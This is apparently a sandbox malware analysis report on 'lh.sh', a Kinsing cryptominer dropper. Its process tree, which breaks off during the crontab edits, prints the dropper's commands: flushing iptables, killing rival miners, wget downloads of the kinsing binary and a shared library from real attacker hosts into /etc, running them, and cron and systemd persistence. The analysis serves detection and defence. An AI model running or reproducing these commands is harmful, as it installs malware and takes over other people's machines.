Overview

overview

10

Static

static

lh.sh

linux_amd64

7

lh.sh

linux_armhf

10

lh.sh

linux_mips

10

lh.sh

linux_mipsel

10

Resubmissions

14/10/2024, 14:12

241014-rh6f5atbkn9

28/02/2024, 16:15

240228-tqqfzsga4v9

26/03/2022, 23:23

220326-3daz7sehcq10

Analysis

  • max time kernel
    0s
  • max time network
    152s
  • platform
    linux_mips
  • resource
    debian9-mipsbe-en-20211208
  • submitted
    26/03/2022, 23:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lh.sh
  • Size 11KB
  • Sample220326-3daz7sehcq
  • SHA256 a58fa03638110727f4a4a227f6ec2c0dceaeb39ccee89d12a4d727bb50d29dc0
  • MD5 SHA1 SHA512
Score
10/10
persistencesuricata

Malware Config

Signatures

  • suricata: ET MALWARE ELF/Kinsing Payload Request M1

    suricata: ET MALWARE ELF/Kinsing Payload Request M1

    suricata
  • Modifies hosts file 1 IoCs

    Adds to hosts file used for mapping hosts to IP addresses.

  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Reads CPU attributes 1 TTPs 44 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • ./lh.sh
    ./lh.sh
    1⤵
      PID:320
      • /usr/bin/chattr
        chattr -i /etc/ld.so.preload
        2⤵
          PID:321
        • /bin/rm
          rm -f /etc/ld.so.preload
          2⤵
            PID:323
          • /usr/bin/chattr
            chattr -R -i /var/spool/cron
            2⤵
            • Creates/modifies Cron job
            PID:327
          • /usr/bin/chattr
            chattr -i /etc/crontab
            2⤵
            • Creates/modifies Cron job
            PID:328
          • /sbin/iptables
            iptables -F
            2⤵
              PID:330
            • /usr/bin/id
              id -u
              2⤵
                PID:333
              • /bin/grep
                grep -e /dev
                2⤵
                  PID:337
                • /bin/ls
                  ls -la /etc
                  2⤵
                    PID:336
                  • /bin/grep
                    grep -v grep
                    2⤵
                      PID:338
                    • /bin/ps
                      ps aux
                      2⤵
                      • Reads CPU attributes
                      PID:339
                    • /bin/grep
                      grep agetty
                      2⤵
                        PID:340
                      • /bin/grep
                        grep -v grep
                        2⤵
                          PID:341
                        • /usr/bin/awk
                          awk "{if(\$3>80.0) print \$2}"
                          2⤵
                            PID:342
                          • /usr/bin/xargs
                            xargs -I "%" kill -9 "%"
                            2⤵
                              PID:343
                            • /usr/bin/pkill
                              pkill -f 42.112.28.216
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:344
                            • /bin/grep
                              grep 207.38.87.6
                              2⤵
                                PID:346
                              • /usr/bin/awk
                                awk "{print \$7}"
                                2⤵
                                  PID:347
                                • /usr/bin/awk
                                  awk "-F[/]" "{print \$1}"
                                  2⤵
                                    PID:348
                                  • /bin/grep
                                    grep -v -
                                    2⤵
                                      PID:349
                                    • /usr/bin/xargs
                                      xargs -I "%" kill -9 "%"
                                      2⤵
                                        PID:350
                                      • /bin/grep
                                        grep 127.0.0.1:52018
                                        2⤵
                                          PID:352
                                        • /usr/bin/awk
                                          awk "{print \$7}"
                                          2⤵
                                            PID:353
                                          • /usr/bin/awk
                                            awk "-F[/]" "{print \$1}"
                                            2⤵
                                              PID:354
                                            • /bin/grep
                                              grep -v -
                                              2⤵
                                                PID:355
                                              • /usr/bin/xargs
                                                xargs -I "%" kill -9 "%"
                                                2⤵
                                                  PID:356
                                                • /bin/grep
                                                  grep 34.81.218.76:9486
                                                  2⤵
                                                    PID:358
                                                  • /usr/bin/awk
                                                    awk "{print \$7}"
                                                    2⤵
                                                      PID:359
                                                    • /usr/bin/awk
                                                      awk "-F[/]" "{print \$1}"
                                                      2⤵
                                                        PID:360
                                                      • /bin/grep
                                                        grep -v -
                                                        2⤵
                                                          PID:361
                                                        • /usr/bin/xargs
                                                          xargs -I "%" kill -9 "%"
                                                          2⤵
                                                            PID:362
                                                          • /bin/grep
                                                            grep 42.112.28.216:9486
                                                            2⤵
                                                              PID:364
                                                            • /usr/bin/awk
                                                              awk "{print \$7}"
                                                              2⤵
                                                                PID:365
                                                              • /usr/bin/awk
                                                                awk "-F[/]" "{print \$1}"
                                                                2⤵
                                                                  PID:366
                                                                • /bin/grep
                                                                  grep -v -
                                                                  2⤵
                                                                    PID:367
                                                                  • /usr/bin/xargs
                                                                    xargs -I "%" kill -9 "%"
                                                                    2⤵
                                                                      PID:368
                                                                    • /usr/bin/pkill
                                                                      pkill -f .git/kthreaddw
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:369
                                                                    • /usr/bin/pkill
                                                                      pkill -f 80.211.206.105
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:370
                                                                    • /usr/bin/pkill
                                                                      pkill -f 207.38.87.6
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:371
                                                                    • /usr/bin/pkill
                                                                      pkill -f p8444
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:372
                                                                    • /usr/bin/pkill
                                                                      pkill -f supportxmr
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:373
                                                                    • /usr/bin/pkill
                                                                      pkill -f monero
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:374
                                                                    • /usr/bin/pkill
                                                                      pkill -f kthreaddi
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:375
                                                                    • /usr/bin/pkill
                                                                      pkill -f srv00
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:376
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.javae/javae
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:377
                                                                    • /usr/bin/pkill
                                                                      pkill -f .javae
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:378
                                                                    • /usr/bin/pkill
                                                                      pkill -f .syna
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:379
                                                                    • /usr/bin/pkill
                                                                      pkill -f .main
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:380
                                                                    • /usr/bin/pkill
                                                                      pkill -f xmm
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:381
                                                                    • /usr/bin/pkill
                                                                      pkill -f solr.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:382
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.solr/solrd
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:383
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/javac
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:384
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.go.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:385
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.x/agetty
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:386
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.x/kworker
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:387
                                                                    • /usr/bin/pkill
                                                                      pkill -f c3pool
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:388
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.X11-unix/gitag-ssh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:389
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/1
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:390
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/okk.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:391
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/gitaly
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:392
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.x/kworker
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:393
                                                                    • /usr/bin/pkill
                                                                      pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:394
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.X11-unix/supervise
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:395
                                                                    • /usr/bin/pkill
                                                                      pkill -f /tmp/.ssh/redis.sh
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      • Reads runtime system information
                                                                      PID:396
                                                                    • /bin/ps
                                                                      ps aux
                                                                      2⤵
                                                                      • Reads CPU attributes
                                                                      PID:397
                                                                    • /bin/grep
                                                                      grep ./udp
                                                                      2⤵
                                                                        PID:398
                                                                      • /bin/grep
                                                                        grep -v grep
                                                                        2⤵
                                                                          PID:399
                                                                        • /usr/bin/awk
                                                                          awk "{print \$2}"
                                                                          2⤵
                                                                            PID:400
                                                                          • /usr/bin/xargs
                                                                            xargs -I "%" kill -9 "%"
                                                                            2⤵
                                                                              PID:401
                                                                            • /bin/cat
                                                                              cat /tmp/.X11-unix/01
                                                                              2⤵
                                                                              • Writes file to tmp directory
                                                                              PID:402
                                                                            • /usr/bin/xargs
                                                                              xargs -I "%" kill -9 "%"
                                                                              2⤵
                                                                                PID:403
                                                                              • /bin/cat
                                                                                cat /tmp/.X11-unix/11
                                                                                2⤵
                                                                                • Writes file to tmp directory
                                                                                PID:404
                                                                              • /usr/bin/xargs
                                                                                xargs -I "%" kill -9 "%"
                                                                                2⤵
                                                                                  PID:405
                                                                                • /bin/cat
                                                                                  cat /tmp/.X11-unix/22
                                                                                  2⤵
                                                                                  • Writes file to tmp directory
                                                                                  PID:406
                                                                                • /usr/bin/xargs
                                                                                  xargs -I "%" kill -9 "%"
                                                                                  2⤵
                                                                                    PID:407
                                                                                  • /bin/cat
                                                                                    cat /tmp/.pg_stat.0
                                                                                    2⤵
                                                                                    • Writes file to tmp directory
                                                                                    PID:408
                                                                                  • /usr/bin/xargs
                                                                                    xargs -I "%" kill -9 "%"
                                                                                    2⤵
                                                                                      PID:409
                                                                                    • /bin/cat
                                                                                      cat /tmp/.pg_stat.1
                                                                                      2⤵
                                                                                      • Writes file to tmp directory
                                                                                      PID:410
                                                                                    • /usr/bin/xargs
                                                                                      xargs -I "%" kill -9 "%"
                                                                                      2⤵
                                                                                        PID:411
                                                                                      • /bin/cat
                                                                                        cat /data/./oka.pid
                                                                                        2⤵
                                                                                          PID:412
                                                                                        • /usr/bin/xargs
                                                                                          xargs -I "%" kill -9 "%"
                                                                                          2⤵
                                                                                            PID:413
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f zsvc
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            PID:414
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f pdefenderd
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            • Reads runtime system information
                                                                                            PID:415
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f updatecheckerd
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            • Reads runtime system information
                                                                                            PID:416
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f cruner
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            PID:417
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f dbused
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            • Reads runtime system information
                                                                                            PID:418
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f bashirc
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            • Reads runtime system information
                                                                                            PID:419
                                                                                          • /usr/bin/pkill
                                                                                            pkill -f meminitsrv
                                                                                            2⤵
                                                                                            • Reads CPU attributes
                                                                                            • Reads runtime system information
                                                                                            PID:420
                                                                                          • /bin/grep
                                                                                            grep ./oka
                                                                                            2⤵
                                                                                              PID:422
                                                                                            • /bin/ps
                                                                                              ps aux
                                                                                              2⤵
                                                                                              • Reads CPU attributes
                                                                                              PID:421
                                                                                            • /bin/grep
                                                                                              grep -v grep
                                                                                              2⤵
                                                                                                PID:423
                                                                                              • /usr/bin/awk
                                                                                                awk "{print \$2}"
                                                                                                2⤵
                                                                                                  PID:424
                                                                                                • /usr/bin/xargs
                                                                                                  xargs -I "%" kill -9 "%"
                                                                                                  2⤵
                                                                                                    PID:425
                                                                                                  • /bin/ps
                                                                                                    ps aux
                                                                                                    2⤵
                                                                                                    • Reads CPU attributes
                                                                                                    • Reads runtime system information
                                                                                                    PID:426
                                                                                                  • /bin/grep
                                                                                                    grep "postgres: autovacum"
                                                                                                    2⤵
                                                                                                      PID:427
                                                                                                    • /bin/grep
                                                                                                      grep -v grep
                                                                                                      2⤵
                                                                                                        PID:428
                                                                                                      • /usr/bin/awk
                                                                                                        awk "{print \$2}"
                                                                                                        2⤵
                                                                                                          PID:429
                                                                                                        • /usr/bin/xargs
                                                                                                          xargs -I "%" kill -9 "%"
                                                                                                          2⤵
                                                                                                            PID:430
                                                                                                          • /usr/bin/awk
                                                                                                            awk "length(\$1) == 8"
                                                                                                            2⤵
                                                                                                              PID:432
                                                                                                            • /bin/ps
                                                                                                              ps ax -o "command,pid" -www
                                                                                                              2⤵
                                                                                                              • Reads CPU attributes
                                                                                                              • Reads runtime system information
                                                                                                              PID:431
                                                                                                            • /bin/grep
                                                                                                              grep -v bin
                                                                                                              2⤵
                                                                                                                PID:433
                                                                                                              • /bin/grep
                                                                                                                grep -v "\\["
                                                                                                                2⤵
                                                                                                                  PID:434
                                                                                                                • /bin/grep
                                                                                                                  grep -v "("
                                                                                                                  2⤵
                                                                                                                    PID:435
                                                                                                                  • /bin/grep
                                                                                                                    grep -v php-fpm
                                                                                                                    2⤵
                                                                                                                      PID:436
                                                                                                                    • /bin/grep
                                                                                                                      grep -v proxymap
                                                                                                                      2⤵
                                                                                                                        PID:437
                                                                                                                      • /bin/grep
                                                                                                                        grep -v postgres
                                                                                                                        2⤵
                                                                                                                          PID:438
                                                                                                                        • /bin/grep
                                                                                                                          grep -v postgrey
                                                                                                                          2⤵
                                                                                                                            PID:439
                                                                                                                          • /bin/grep
                                                                                                                            grep -v kinsing
                                                                                                                            2⤵
                                                                                                                              PID:440
                                                                                                                            • /usr/bin/awk
                                                                                                                              awk "{print \$2}"
                                                                                                                              2⤵
                                                                                                                                PID:441
                                                                                                                              • /usr/bin/xargs
                                                                                                                                xargs -I "%" kill -9 "%"
                                                                                                                                2⤵
                                                                                                                                  PID:442
                                                                                                                                • /bin/ps
                                                                                                                                  ps ax -o "command,pid" -www
                                                                                                                                  2⤵
                                                                                                                                  • Reads CPU attributes
                                                                                                                                  • Reads runtime system information
                                                                                                                                  PID:443
                                                                                                                                • /usr/bin/awk
                                                                                                                                  awk "length(\$1) == 16"
                                                                                                                                  2⤵
                                                                                                                                    PID:444
                                                                                                                                  • /bin/grep
                                                                                                                                    grep -v bin
                                                                                                                                    2⤵
                                                                                                                                      PID:445
                                                                                                                                    • /bin/grep
                                                                                                                                      grep -v "("
                                                                                                                                      2⤵
                                                                                                                                        PID:447
                                                                                                                                      • /bin/grep
                                                                                                                                        grep -v "\\["
                                                                                                                                        2⤵
                                                                                                                                          PID:446
                                                                                                                                        • /bin/grep
                                                                                                                                          grep -v php-fpm
                                                                                                                                          2⤵
                                                                                                                                            PID:448
                                                                                                                                          • /bin/grep
                                                                                                                                            grep -v proxymap
                                                                                                                                            2⤵
                                                                                                                                              PID:449
                                                                                                                                            • /bin/grep
                                                                                                                                              grep -v postgres
                                                                                                                                              2⤵
                                                                                                                                                PID:450
                                                                                                                                              • /bin/grep
                                                                                                                                                grep -v postgrey
                                                                                                                                                2⤵
                                                                                                                                                  PID:451
                                                                                                                                                • /usr/bin/awk
                                                                                                                                                  awk "{print \$2}"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:452
                                                                                                                                                  • /usr/bin/xargs
                                                                                                                                                    xargs -I "%" kill -9 "%"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:453
                                                                                                                                                    • /bin/ps
                                                                                                                                                      ps ax
                                                                                                                                                      2⤵
                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                      • Reads runtime system information
                                                                                                                                                      PID:454
                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                      awk "length(\$5) == 8"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:455
                                                                                                                                                      • /bin/grep
                                                                                                                                                        grep -v bin
                                                                                                                                                        2⤵
                                                                                                                                                          PID:456
                                                                                                                                                        • /bin/grep
                                                                                                                                                          grep -v "\\["
                                                                                                                                                          2⤵
                                                                                                                                                            PID:457
                                                                                                                                                          • /bin/grep
                                                                                                                                                            grep -v "("
                                                                                                                                                            2⤵
                                                                                                                                                              PID:458
                                                                                                                                                            • /bin/grep
                                                                                                                                                              grep -v php-fpm
                                                                                                                                                              2⤵
                                                                                                                                                                PID:459
                                                                                                                                                              • /bin/grep
                                                                                                                                                                grep -v proxymap
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:460
                                                                                                                                                                • /bin/grep
                                                                                                                                                                  grep -v postgres
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:461
                                                                                                                                                                  • /bin/grep
                                                                                                                                                                    grep -v postgrey
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:462
                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                      awk "{print \$1}"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:463
                                                                                                                                                                      • /usr/bin/xargs
                                                                                                                                                                        xargs -I "%" kill -9 "%"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:464
                                                                                                                                                                        • /bin/grep
                                                                                                                                                                          grep -v grep
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:466
                                                                                                                                                                          • /bin/ps
                                                                                                                                                                            ps aux
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                            PID:465
                                                                                                                                                                          • /bin/grep
                                                                                                                                                                            grep /tmp/sscks
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:467
                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                              awk "{print \$2}"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:468
                                                                                                                                                                              • /usr/bin/xargs
                                                                                                                                                                                xargs -I "%" kill -9 "%"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:469
                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                  chmod 777 /etc/kinsing
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:474
                                                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                                                    wget -O /etc/kinsing https://bitbucket.org/eosakk11/reposit/raw/a93713d44b805f877da6fabe4b91a09b180486e1/kinsing
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Modifies hosts file
                                                                                                                                                                                    • Writes DNS configuration
                                                                                                                                                                                    PID:475
                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                    chmod +x /etc/kinsing
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:476
                                                                                                                                                                                    • /bin/chmod
                                                                                                                                                                                      chmod 777 /etc/kinsing
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:481
                                                                                                                                                                                      • /usr/bin/wget
                                                                                                                                                                                        wget -O /etc/kinsing http://178.20.40.227/kinsing
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:482
                                                                                                                                                                                        • /bin/chmod
                                                                                                                                                                                          chmod +x /etc/kinsing
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:483
                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                            chmod 777 /etc/libsystem.so
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:492
                                                                                                                                                                                            • /usr/bin/wget
                                                                                                                                                                                              wget -O /etc/libsystem.so http://178.20.40.227/libsystem.so
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:493
                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                chmod +x /etc/libsystem.so
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:494
                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                  chmod 777 /etc/libsystem.so
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:499
                                                                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                                                                    wget -O /etc/libsystem.so http://178.20.40.227/libsystem.so
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:500
                                                                                                                                                                                                    • /bin/chmod
                                                                                                                                                                                                      chmod +x /etc/libsystem.so
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:501
                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                        rm -rf /tmp/kdevtmpfsi
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Writes file to tmp directory
                                                                                                                                                                                                        PID:506
                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                        chmod 777 /etc/kinsing
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:507
                                                                                                                                                                                                        • /bin/chmod
                                                                                                                                                                                                          chmod +x /etc/kinsing
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:508
                                                                                                                                                                                                          • /etc/kinsing
                                                                                                                                                                                                            /etc/kinsing
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:509
                                                                                                                                                                                                            • /usr/bin/id
                                                                                                                                                                                                              id -u
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:511
                                                                                                                                                                                                              • /bin/systemctl
                                                                                                                                                                                                                systemctl enable bot
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                PID:512
                                                                                                                                                                                                              • /bin/systemctl
                                                                                                                                                                                                                systemctl start bot
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                PID:523
                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:527
                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:529
                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                    sed /base64/d
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:528
                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:530
                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:532
                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                          sed /_cron/d
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:531
                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:533
                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                              sed /31.210.20.181/d
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:534
                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:535
                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:536
                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                    sed /update.sh/d
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:537
                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                      PID:538
                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                      sed /logo4/d
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:540
                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:539
                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:541
                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:542
                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                              sed /logo9/d
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:543
                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:544
                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:545
                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:547
                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                      sed /logo0/d
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:546
                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:548
                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                          sed /logo/d
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:549
                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:550
                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:551
                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                sed /tor2web/d
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:552
                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:553
                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:554
                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                      sed /jpg/d
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:555
                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:556
                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:557
                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                            sed /png/d
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:558
                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:559
                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                sed /tmp/d
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:561
                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:560
                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:562
                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:563
                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                        sed /zmreplchkr/d
